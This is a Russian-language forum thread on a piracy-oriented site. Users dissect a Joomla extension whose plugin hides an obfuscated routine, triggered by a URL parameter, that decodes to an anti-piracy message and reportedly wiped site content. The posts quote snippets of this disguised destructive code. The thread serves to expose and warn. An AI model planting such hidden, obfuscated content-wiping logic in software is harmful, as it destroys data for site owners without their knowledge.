Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём некорректно. Вам необходимо обновить браузер или попробовать использовать другой.
это всем понятно и без Вас. Тема не об этом.
Как Вы понимаете - Вы находитесь на сайте, где именно пиратство - основной вид заинтересованности юзеров. И как Вы понимаете люди выкладывают в подавляющем количестве оригинальные компоненты, плагины, которые уже содержат такую фигню в коде и задача в том, чтобы избавить людей от подобных случаев
Ну так потрудитесь указать хотя бы пост где, и что вы брали (какое расширение), может и ясности будет больше, кто и откуда брал, да другие будут осторожнее..
Ну так потрудитесь указать хотя бы пост где, и что вы брали (какое расширение), может и ясности будет больше, кто и откуда брал, да другие будут осторожнее..
собственно который и заменил весь контент строкой $version
ну а она была $version = 'this site use pirate software!!!'
который дергается из checkUpdates()
а checkUpdates() дергается из
plugins\system\nnframework\nnframework.php
функции
public function onAfterRoute()
Собственно теперь всё понятно
Этот мудак удалил контент, и решил замести следы за собой. Думаю эту фишку он встроил только в последнюю версию(и) своих продуктов
--------------------
я решил проверить сколько компонентов nonumber (из 30)страдают такой фигней:
advancedmodulemanager_4.18.2_pro.zip
как видите только 1 плагин имеет такой код checkUpdates
увы у меня нет прежних версий, не могу сказать - есть ли такой код в предыдущих версиях
но в любом случае так как он после себя удалил зловредный код, то таким образом он может только 1 раз удалить контент на сайте
вот вам и лицензии и т.п. до жопы всё это
а вот теперь самое смешное! на закуску:
СМОТРИМ БЛОК 1:
как видите главная функция checkUpdates()
в которой есть $version = self::getUpdateVersion();
но как мы поняли version стал той самой строкой "this site use pirate software!!!"
то есть эта фунцкия должна была отдать ей эту сроку
теперь идем в getUpdateVersion()
там есть versions.php, которая узнает юзаете ли вы PRO версии компонентов
и ниже по коду идет
PHP:
if (JFactory::getApplication()->input->get('doCamelCase', 1))
{
$version = self::camelCaseVersionLetters($version);
}
то есть если в URL есть doCamelCase=1 (контент на сайте удалится)
то выполняется код camelCaseVersionLetters который собственно и присвоил $version
ну а теперь главное
PHP:
static function camelCaseVersionLetters($context = '', $string = '')
{
if ($context == 'content.category')
{
return $string;
}
if (!$string)
{
// Just some random characters to test UTF-8 compatibility
$string = 'TIKV$XO[M)S^,baX^X2c]gWk]]:nkcrvasgD';
$string = str_split($string);
foreach ($string as $i => $char)
{
if ($i % 2 < 0)
{
continue;
}
$string[$i] = chr(ord($char) - $i);
}
}
return implode('', $string);
}
а теперь обращаем внимание на
// Just some random characters to test UTF-8 compatibility
и ниже
$string = 'TIKV$XO[M)S^,baX^X2c]gWk]]:nkcrvasgD';
ну я не думаю, что этот код для UTF-8 совместимости
берем кусок этой функции и заганяем его в PHP интерпретатор Для просмотра ссылки ВойдиилиЗарегистрируйся
и угадайте, что мы имеем на выходе?
THIS SITE IS USING PIRATED SOFTWARE!
парни, прошу глянуть если у кого есть advancedmodulemanager 4.18.2 pro (или старше)
гляньте в архиве инсталлятора:
framework\framework\j3\plugins\system\nnframework\nnframework.php
есть ли строка $this->checkUpdates();
и может у кого есть более ранняя версия этого "программного продукта", есть ли этот код в пред версиях? (скачал advancedmodulemanager 4.18.2 pro только что просто из инета, с любого попавшегося сайта. так же хрень - тот же checkUpdates на том же месте)
остаётся открытым вопрос - если это сделал автор, то как тогда $version стала "this site use pirate software!!!" если домены регестрировать ни при-, ни после покупки не надо
Для просмотра ссылки ВойдиилиЗарегистрируйся
Nonumber Advanced Module Manager Pro v4.17.0 for Joomla 2.5-3.0
$this->checkUpdates();
не найдено.
Глянул advancedmodulemanager 4.18.2 pro
framework\framework\j3\plugins\system\nnframework\nnframework.php
Код:
// Only do check if necessary
if (time() < filemtime(__FILE__) + 2000000)
{
return;
}
require_once JPATH_PLUGINS . '/system/nnframework/helpers/licenses.php';
NoNumberLicenses::checkUpdates();
крайне не рекомендую так делать. мало ли, что там еще внутри. ведь я даже не искал исходник, который отвечает за замену файлов на сервере
так, что есть смысл подождать другой раздачи
жаль влупили нарушение мне за 6 постов подряд. буду знать
а вообще я частично сам виноват. так как у меня есть правило - качать одно и то-же с разных источников, и сравнивать размеры и содержимое
и в 80% случаев содержимое отличается и сразу видно, что именно было внедрено. но в этот раз было некогда
На данном сайте используются файлы cookie, чтобы персонализировать контент и сохранить Ваш вход в систему, если Вы зарегистрируетесь.
Продолжая использовать этот сайт, Вы соглашаетесь на использование наших файлов cookie.